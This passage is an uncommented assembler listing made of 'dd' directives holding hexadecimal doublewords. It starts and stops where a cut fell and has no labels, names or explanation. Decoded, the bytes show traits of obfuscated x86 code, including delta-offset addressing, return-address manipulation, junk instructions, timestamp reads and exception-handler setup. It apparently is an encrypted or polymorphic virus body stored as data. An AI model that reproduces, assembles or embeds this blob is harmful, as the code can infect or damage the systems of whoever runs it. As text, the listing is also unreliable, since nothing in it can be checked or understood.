0C3564600h dd 4E98B989h, 0F5517BFCh, 840FC90Ah, 10Bh, 810FF8h, 8B000000h dd 2B1EB585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 6ABEDBD0h, 0BD8BCCA7h, 62B32C1h dd 23AFE381h, 85335541h, 62B258Dh, 0BB6650F8h, 489AE14h dd 8DBB6024h, 57652181h, 21299529h, 615E062Bh, 0B589006Ah dd 62B194Dh, 0CEE57668h, 0BE868h, 923A0000h, 3071EDCCh dd 6A830A3Fh, 0DE8B660Ah, 2434815Fh, 68D1E689h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2BC35747h, 0A49A1749h dd 5E96F615h, 12D38094h, 91D95FFh, 8B50062Bh, 2B0BB5BDh dd 85895B06h, 62EB5B0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0EC35343h, 0B8A28C0Ah, 8953A13Dh, 2B12359Dh dd 1B8E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0D986D5C3h, 8BD8B70Fh, 2EB5A885h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 870A0B2Ch, 818D8958h, 66062B2Fh, 0C7FA8Bh dd 18h, 0B58BDE8Ah, 62EB5ACh, 0C5858BF8h, 0F062B16h, 689DBB7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C9C35646h dd 93C9FC04h, 0E033791Ah, 858BF565h, 62B1EB5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A8C35040h, 8E0FAB19h dd 0 dd 0E9044689h, 0Bh, 0BBF0DACAh, 0C8B550C2h, 5047CCACh dd 0CC36BB66h, 0FF243489h, 2EB5A8B5h, 890F6006h, 3, 89D18B66h dd 2B00F5B5h, 0FC686106h, 81F6901Ah, 0E9032404h, 9D89098Eh dd 62B1EA1h, 0B5B0858Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 21CF85C3h, 8B66ADE3h dd 0AE8F9h, 35B00000h, 0CA5FDCE6h, 0E7CE8469h, 61F38B60h dd 14E9905Bh, 0C000000h, 9261D547h, 0CF55401h, 307D3EE5h dd 2A0FEE0Bh, 501BE467h, 6A90FA8Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0A642C351h dd 0DE9h, 91AB5700h, 2B50985Bh, 0D495FBFAh, 0BD0BC38Bh dd 62B1E2Dh, 91D95FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0F86AD9C3h, 0F8299E0Ch dd 6A611445h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 4576C351h, 86228382h, 0C75B5128h dd 2B2BE585h, 306h, 0EF816600h, 0BD8BD3ADh, 62B1105h, 0B5B0BD83h dd 0F00062Eh, 0B84h, 0FB8B6600h, 1EE9h, 0F8B70F00h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 686h dd 7DBD8B00h, 8B062B2Bh, 2B1C69BDh, 2850F06h, 8A000000h dd 0E5BD83DDh, 3062B2Bh, 3E7850Fh, 0B70F0000h, 0B0BD83DBh dd 62EB5h, 3D7840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 314EE7C3h, 0FF3C17CBh dd 2EB5B0B5h, 0A9BD8906h, 8B062B20h, 2B3229BDh, 7595FF06h dd 6A062B01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 88BEC353h, 0F5EE9174h, 53BB236Eh dd 8B120ED9h, 2EB5A4B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0DB42AA63h, 89289700h dd 2B19D59Dh, 3810F06h, 66000000h, 6C7F98Bh, 10001h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 1EC35040h, 2C5003F7h dd 0E9506050h, 11h, 773C44E0h, 88A07890h, 0EE501536h, 0E804C546h dd 21B95F51h, 6161DE24h, 89243489h, 2B270DBDh, 0B0B5FF06h dd 6A062EB5h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CED3C351h, 16EA5EF4h, 95FFDB94h dd 62B1555h, 1E758D89h, 0B58B062Bh, 62EB5A4h, 8BDBBF0Fh dd 2B1AD985h, 0E59D8B06h, 89062B29h, 0C486h, 0D9BD8B00h dd 8B062B24h, 2B0EE195h, 83FC8A06h, 8E904C2h, 1C000000h dd 0EAAD8F50h, 89203243h, 6A2050h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 7283D2C3h, 0CA4E858Dh dd 0F88B062Eh, 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0D6963EC3h, 0C6B190A6h dd 95894A05h, 62B00D9h, 8166006Ah, 51A0D4C3h, 1F1B529h dd 0FF5F062Bh, 2EB5B0B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 6D0B0541h dd 1CC88515h, 95FFF947h, 62B05E1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 56C35646h, 0B69D282Ah, 79958967h dd 96062B2Bh, 5E9h, 2AA48100h, 9650B22Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D1C35242h, 0AC18297Eh dd 0B2FD1FCh, 2B0DA9BDh, 0B0B5FF06h, 6A062EB5h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 7963C355h, 2FB6D54Ah, 95FF6E56h, 62B1569h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 64C35747h, 440BB629h dd 0AA37B579h, 9DBD83CEh, 62B1Dh, 48840Fh, 85890000h, 62B1DC1h dd 8B525096h, 5A310FFAh, 0BB525058h, 2BAA6163h, 6A965Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 93D9B7C3h, 31DF09EAh, 2B15B595h, 298D8906h, 0F062B32h dd 0B5FFDFBFh, 62EB5B0h, 203ABF66h, 3830Fh, 8B660000h dd 1195FFDEh, 80062B2Eh, 0B5FF60F7h, 62EB5B0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 93C35545h, 0CE03758Ch dd 27B90E24h, 6860FA4h, 89000000h, 2B18B59Dh, 0D95FF06h dd 6A062B24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 5593C356h, 0C1BD23B4h, 83062B19h dd 2B2E29BDh, 840F0206h, 48h, 2B39858Bh, 0CE9062Bh, 7D000000h dd 0A9DBB13Fh, 9635604Ch, 602A51D3h, 4ADFB866h, 0C661FB8Bh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0D4DC15C3h, 0BD89A370h, 62B336Dh, 92585C7h dd 62Bh, 8CB70000h, 17709EBFh, 0F503E97Dh, 0BF0FFFFFh dd 31C18BDFh, 2B0EB1BDh, 0C1858D06h, 6A062B2Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0FA60C357h, 8C5A9722h, 10A59D8Bh, 6650062Bh, 89D00EBBh dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0F72B8BC3h, 0D1DFEB86h, 850Fh, 6A0000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3AC35747h, 8601547Dh dd 5683D64Dh, 0BB66535Ah, 6A5BA004h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 63B39C56h dd 798D89h, 858D062Bh, 6301A4Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 53C35747h, 0E965A233h, 8, 72B7E69Eh dd 0D14C2873h, 0D699D8Bh, 0C083062Bh, 0CB816605h, 0BF50C125h dd 1A6038AEh, 0F240489h, 989h, 3840F00h, 0F000000h, 9FB7DABFh dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 6A74C3h, 3459BD2Bh, 95FF062Bh, 62B34E1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 14C35343h dd 7CDCBF66h, 0A6AA8D8Dh, 0BD31062Eh, 62B259Dh, 2FDD9D09h dd 0D1FF062Bh, 9E9h, 0E7E91D00h, 6016DEAAh, 0BD83F61Fh dd 62B0A01h, 50850F01h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 72C0C350h dd 2D65EC16h, 0A9B589A6h, 6A062B06h, 0C800F02h, 0F000000h dd 688h, 659D8900h, 50062B18h, 89D88B66h, 0FFF52404h, 2B05E195h dd 558D2906h, 0E9062B17h, 0E7Ah, 0E8h, 0ED815D00h, 6301A59h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3FC35545h dd 0F7BEDE42h, 13E912A3h, 11000000h, 9857AF06h, 490F3CCh dd 0ECC100D5h, 22D51E7Eh, 63BB49D8h, 8D14A8D5h, 2E993A85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 6A2F5A20h, 97A40C7Eh, 0DA8B665Ch dd 1A870F50h, 0E8000000h, 12h, 0ADE6A43Dh, 2A4BA5DBh, 6CA8614Bh dd 0C11C42C5h, 5F52B8F0h, 2404895Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 1FC35545h, 35FF6475h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 5DC35242h dd 0AD327EB8h, 0B56F9C6Fh, 258964h, 8B000000h, 2B1241BDh dd 0D85FF06h, 9062B1Eh, 2B32798Dh, 66FF6A06h, 0B707E781h dd 21A5B5FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 1449D6C3h, 0FF7A839Ah, 2B11A995h dd 0F8E906h, 0B0F90000h, 8B70E600h, 2B1099BDh, 8071E406h dd 613C6FF3h, 0E0830Fh, 9D890000h, 62B28D9h, 89C8B60Fh dd 2B1ABD9Dh, 6BA06h, 8BF80000h, 2D9D8BC1h, 0F062B1Ch dd 382h, 2BCB8000h, 104E8C1h, 2B17E5BDh, 0E2F76606h, 0DDBBC82Bh dd 8B3B3E2Fh, 0A0E9D1h, 0DABF0000h, 8B781930h, 554C5085h dd 5D97BB47h, 0C08368B6h, 0AE86007h, 3D000000h, 4133086Ch dd 3684110Ch, 14E929h, 0BCC90000h, 6F2B375h, 0ECD6AC4Ah dd 0D2480425h, 0B2952189h, 8B5AC2A0h, 0C08361C3h, 0A1B53100h dd 3B062B1Fh, 16830FD0h, 9000000h, 2B0FA99Dh, 44E906h dd 4EBF0000h, 897BAEFAh, 2B218DB5h, 0FF8D8B06h, 8BFFFFFFh dd 2B24199Dh, 1E18306h, 24840Fh, 8B660000h, 0FFA583D9h dd 0FEFFFFFFh, 8159D8Bh, 9589062Bh, 47554C50h, 0C4E41CBBh dd 0EABF6604h, 0E9A4h, 0B58D0000h, 62F907Fh, 6AFFBF0Fh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0A9779B0Fh, 8D890FC0h, 62B203Dh, 9F78166h dd 4595FF4Ah, 66062B29h, 83B5CB81h, 1025B9h, 0FDB52900h dd 83062B15h, 8B66FCE1h, 6AFCF9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0CDC98EC3h, 0E317D880h dd 16FC9BBh, 5BD78159h, 2B2F4EF8h, 11E9C0h, 0F8DF0000h dd 0B794E22Bh, 0B7788DC0h, 7FAB7544h, 0BA475734h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0BEC35545h dd 6C567D1Ch, 28B11ADBh, 0DB8166CAh, 33AD1E0Dh, 3E8D1C2h dd 4E983D0h, 9E9F475h, 70000000h, 13E31FB3h, 87B5C906h dd 0BD03D88Bh, 62B1FF9h, 880Dh, 0F59D8B00h, 8B062B06h dd 2B0EE195h, 0C9EF8106h, 8B4ECFDBh, 2B2B11BDh, 0E18D8B06h dd 89062B21h, 2B1C2DB5h, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 3435C351h, 0B3EB0615h dd 0A9BD836Eh, 62B05h, 0AD840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFCA8DC3h dd 66718B72h, 48F0Fh, 0BF660000h, 0F98BDD19h, 0B8h, 51BD0900h dd 8D062B19h, 2B4EA18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 53C03D11h, 0E1FF6E8Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 94C35040h dd 0BC9BC6CFh, 0FA4AFC2Fh, 20559529h, 8D0F062Bh, 1Bh, 0FE8h dd 4CECCF00h, 583094F5h, 0E9A2174h, 103F1697h, 349D9D03h dd 835F062Bh, 2B2BE5BDh, 840F0006h, 525h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 91C35747h, 5995BF66h dd 6DBD8960h, 66062B1Bh, 8083D981h, 0E5BD8361h, 1062B2Bh dd 506840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0E20997C3h, 0FA5663Ah, 0BD83D9BFh dd 62B2BE5h, 9F860F03h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C105C352h dd 0AB73E3BFh, 2EE1BD8Bh, 8166062Bh, 60A24AC7h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 10C35040h, 765AA1D2h dd 852972DFh, 62B3455h, 6AD98C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0E15EC357h dd 0D794C217h, 3628ADF5h, 0E180FA8Bh, 51006A04h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 897E3653h, 2B35A995h, 0FC90A06h, 17184h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0B5858B26h, 6A062B1Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 97F4C352h, 0D02C8DACh dd 54DE782Eh, 258D8533h, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 47D07BC3h, 66305159h dd 0CC25CF81h, 0F8EEBB90h, 0E85048FEh, 8, 0B73298DDh, 217B2C1Eh dd 8D0F5250h, 0 dd 0BB66310Fh, 585A2143h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 7386CFC3h, 9589FF7Ch dd 62B30A5h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0E7C6F3C3h, 7B1EEC61h, 1ACDBD29h dd 4E8062Bh, 0FF000000h, 0F001F03h, 0C8Eh, 6E800h, 0F0DC0000h dd 0A0E641CDh, 0BF66505Fh, 448B2A14h, 0FE8B0424h, 0C5BF008Bh dd 891A858Dh, 57042444h, 799BF66h, 8D89585Fh, 62B1BC9h dd 1D95FFF9h, 89062B09h, 2B020D95h, 6850F06h, 89000000h dd 2B2C7195h, 0B0858906h, 0F062EB5h, 68Eh, 85BD8B00h, 0E9062B10h dd 21Dh, 0E820Fh, 89600000h, 2B1B6DB5h, 0A9B58906h, 61062B0Eh dd 9298589h, 858B062Bh, 62EB5A8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 17C35747h, 0C7267866h, 1800h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 52CEC921h, 890FFB51h, 6, 25E19D8Bh, 0B58B062Bh dd 62EB5ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 69C35242h, 0E9EF4973h, 0C5858B41h, 6A062B16h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 878BC356h, 67CE04B3h, 8B0689C8h, 0B5858BDFh, 6A062B1Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0D5B6C352h, 7BA2A10Ah, 0F8044689h, 8D0F5350h dd 3, 5FF88B66h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 82B3C355h, 34CBA0B1h dd 18F59D8Bh, 0B5FF062Bh, 62EB5A8h, 1588EB81h, 7E80FF3h dd 0ED000000h, 10BEE167h, 9D299576h, 62B1F2Dh, 4E85Bh dd 3FF0000h, 5050001Fh, 11E952h, 9ECF0000h, 6C24544Ah dd 7292B881h, 88923EC0h, 0FAA9138h, 0EE831h, 774F0000h dd 4D94F02Dh, 102EF86Ch, 0BF467806h, 800Fh, 5A5B0000h dd 24448B58h, 6E904h, 77AC0000h, 8FFC6280h, 4489008Bh dd 830F0424h, 12h, 7E95250h, 89000000h, 0F224B2D1h, 310F7AA1h dd 6A58585Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 20E7C351h, 858DFCDFh, 62EB5B0h dd 2459BD8Bh, 9589062Bh, 62B2CC5h, 89FA8A50h, 0BD8B2404h dd 62B0501h, 91D95FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0B4619FC3h, 2429BD8Bh dd 8B66062Bh, 6A61D8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 8AEB3C3h, 0E585C735h, 3062B2Bh dd 0E9000000h, 6, 0A84CD19Bh, 0BD830811h, 62EB5B0h, 3B840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0AD73C352h, 32E93306h, 0E9000000h dd 12h, 7793D43Dh, 55B70F91h, 1B3A2940h, 0B4270982h, 3050542Eh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0AC5C97A4h, 860064E0h, 52006A1Eh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0B70972A5h, 8B35D49Fh, 2B1659BDh, 0E5BD8306h, 3062B2Bh dd 44F850Fh, 0BD830000h, 62EB5B0h, 42840F00h, 0F000004h dd 88h, 0B0B5FF00h, 6A062EB5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0D5BAC350h, 0E7EB0E66h dd 0FFC3C380h, 2B017595h, 0E4BF6606h, 0A4B58B60h, 6A062EB5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 2E68C350h, 0D4596000h, 9F2B25Fh, 2B26FD85h dd 8D950106h, 0C7062B0Fh, 1000106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0DE9A9108h dd 0B248E4C6h, 58B0FB5h, 66000000h, 643EF781h, 0F98B5096h dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 2820FA6h, 50000000h, 0B0B5FF5Fh, 6A062EB5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FFE5C356h, 2B155595h, 81FD8A06h, 4866F3h dd 0A4B58B3Ch, 6A062EB5h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0B909C351h, 0F0771C18h dd 0D381665Eh, 858B2099h, 62B1AD9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0F2C35646h, 89A344E5h, 95295A90h dd 62B26B1h, 0C48689h, 8C0F0000h, 6, 24759D2Bh, 958B062Bh dd 62B0EE1h, 2CD78166h, 4C28321h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 4BC35141h, 119DB589h, 5089062Bh dd 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 8543B374h, 8BF58BD6h, 2B2459BDh, 59D8B06h dd 0F062B06h, 81h, 4E858D00h, 6A062ECAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B0D1C355h dd 8B601481h, 2B3029B5h, 9D896106h, 62B0529h, 0B88689h dd 0BD8B0000h, 62B2409h, 9D8B006Ah, 62B020Dh, 0B5B0B5FFh dd 0B529062Eh, 62B1119h, 5E195FFh, 8166062Bh, 966E04EBh dd 3696BF66h, 7E950h, 0F71D0000h, 8513B8B8h, 0BB669666h dd 0B5FF749Ch, 62EB5B0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0EBC35040h, 1ADC3315h, 29799531h, 0DC8A062Bh dd 156995FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 25FC00C3h, 29F19529h, 0B70F062Bh dd 199D8BDFh, 83062B21h, 2B1D9DBDh, 840F0006h, 85h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0AC35545h, 2CFD9D33h dd 0E850062Bh, 0Ah, 0F0A41743h, 8BB5A585h, 8E84B02h, 41000000h dd 59BC8DBCh, 0E87174A8h, 12h, 0B2BF0AB3h, 7968C512h, 88EA5051h dd 997960E0h, 5B5B02A4h, 2434895Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0AEC35141h, 0AA4D12CAh, 8B40300Ch dd 2B25999Dh, 0B0B5FF06h, 6A062EB5h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89AEC356h dd 2B09199Dh, 22F78006h, 2E1195FFh, 6A062Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 9874E1C3h dd 0D761843h, 0B0B5FFADh, 0BB062EB5h, 2EBA127Ah, 2F71BD8Bh dd 95FF062Bh, 62B240Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 64C35242h, 40FD0478h, 2E29BD83h, 0F02062Bh dd 3184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0F5ED6889h, 2A4533BFh, 39858B21h dd 8B062B2Bh, 0C6DAh, 85C7F88Bh, 62B0925h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9C35141h dd 13E976h, 0EDC90000h, 88A98F8Ch, 899C3179h, 6252799Bh dd 8728E4A6h, 0F2B7E906h, 0AE9FFFFh, 6F000000h, 61612294h dd 12D040E6h, 6AC18B2Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 49EEC357h, 24759D8Bh dd 858D062Bh, 62B2FC1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0ECC35141h, 0E48F91F7h, 50FAB70Fh, 0F240489h dd 6AFBBFh, 19C19D8Bh, 6A062Bh, 29DBD8Bh, 858D062Bh, 6302AE4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ECC35242h dd 7EE780ACh, 6A05C083h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0C30DC351h, 9D85292Ch dd 1062B07h, 2B1FB99Dh, 8B669006h, 0E4BF50FAh, 90657038h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 72C35747h dd 0EF43FD19h, 89838803h, 2B2F9995h, 8DBD8B06h, 8B062B35h dd 6A006AFAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0FAB3C355h, 0E43609B3h, 0DA99D8Bh dd 6A062Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 14C35343h, 619B11ADh, 27058D89h, 0BD8B062Bh, 62B1E25h dd 34E195FFh, 89F5062Bh, 2B272985h, 0AA8D8D06h, 8B062EA6h dd 2B1F7D9Dh, 39BD0B06h, 0FF062B26h, 0DB8166D1h, 66602EA3h dd 61FCE8BFh, 0A01BD83h, 0F01062Bh, 0B785h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 562944BBh, 0F5A63570h, 0BD8B50B6h, 62B1635h, 6A026A5Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 988FC357h, 0D3427254h, 4A8AC75Dh, 109D9D8Bh dd 0B390062Bh, 52505056h, 5060310Fh, 585A615Fh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 683D291Dh, 0BBEAFB41h, 31DD2266h, 5E195FFh, 6A062Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66F787C3h, 0DEF3E381h, 0F7FE9h, 0E800h, 815D0000h, 302AEEEDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 29E69355h, 2B1F718Dh, 56BB6606h, 3A858D66h dd 89062E99h, 2B2FC59Dh, 66509006h, 6A90D98Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 211EC357h, 70E46E1Ch, 0F8B70F13h, 35FF64h, 0E9000000h dd 14h, 0B50CA582h, 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0BCC4C353h, 630E6EA6h dd 0C5BD8B42h, 0FF062B11h, 2B1E0D85h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 3D0918FCh, 114B7A08h, 0BF665EC9h, 8B565F43h, 2B2D79BDh dd 0FF6A5B06h, 8E956h, 59F30000h, 8BAAE75h, 895B3C81h dd 2B086DBDh, 15B5FF06h, 6A062B1Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 657C356h dd 0FF808A05h, 33DF8B66h, 2B17699Dh, 0A995FF06h, 0E9062B11h dd 136h, 0E800Fh, 2B600000h, 2B2C25BDh, 0DB50906h, 61062B08h dd 0E6FC00B0h, 0F3816670h, 71E44CF5h, 13E9h, 78D6E000h dd 267A0536h, 130FCD1Eh, 1C211EB2h, 1370E46Eh, 830F613Ch dd 0F6h, 0B60FD98Bh, 58589C8h, 0BA062B1Eh, 6, 0E5F38160h dd 8B4807FBh, 2B121185h, 0C18B6106h, 1AA19D8Bh, 0E8C1062Bh dd 0EE804h, 8BE0000h, 8B5B1AA5h, 0B872BA38h, 42B1546Dh dd 8C9BD8Bh, 895B062Bh, 2B0EFD85h, 0E2F76606h, 0BC99501h dd 2B7062Bh, 8E0FC82Bh, 6, 213DBD8Bh, 0D18B062Bh, 0E9FB8B66h dd 8Ah, 858BD7B7h, 44004E49h, 6E8h, 0C2433A00h, 6649B908h dd 5FF3A9BFh, 0E907C083h, 0Ch, 0D9E0171Fh, 0F1DAD586h dd 9313DEF1h, 8B00C083h, 199D23FEh, 3B062B1Eh, 0A830FD0h dd 0F000000h, 43E9FAB7h, 8B000000h, 0FF8D8BDFh, 1FFFFFFh dd 2B04F985h, 59D0906h, 83062B27h, 840F01E1h, 26h, 3880Fh dd 8B660000h, 0FFA583FEh, 0FEFFFFFFh, 0FF82F781h, 9589040Bh dd 44004E49h, 0B7FAB70Fh, 0E9FFh, 0B58D0000h, 62FA0A4h dd 0FB1BD0Bh, 6A062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0FEC35141h, 9C22F12Dh, 61BF66D0h, 4595FF0Fh dd 6A062B29h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 4337C350h, 0A6138369h, 68D0F4Bh dd 23000000h, 2B21319Dh, 0FABB906h, 8D010000h, 62B0159h dd 58C0Fh, 0F8BF0000h, 8327BFECh, 6AFCE1h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0FCC986C3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 52C35242h dd 7269A05Fh, 0C02B7E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0F2C35747h, 11C5D593h, 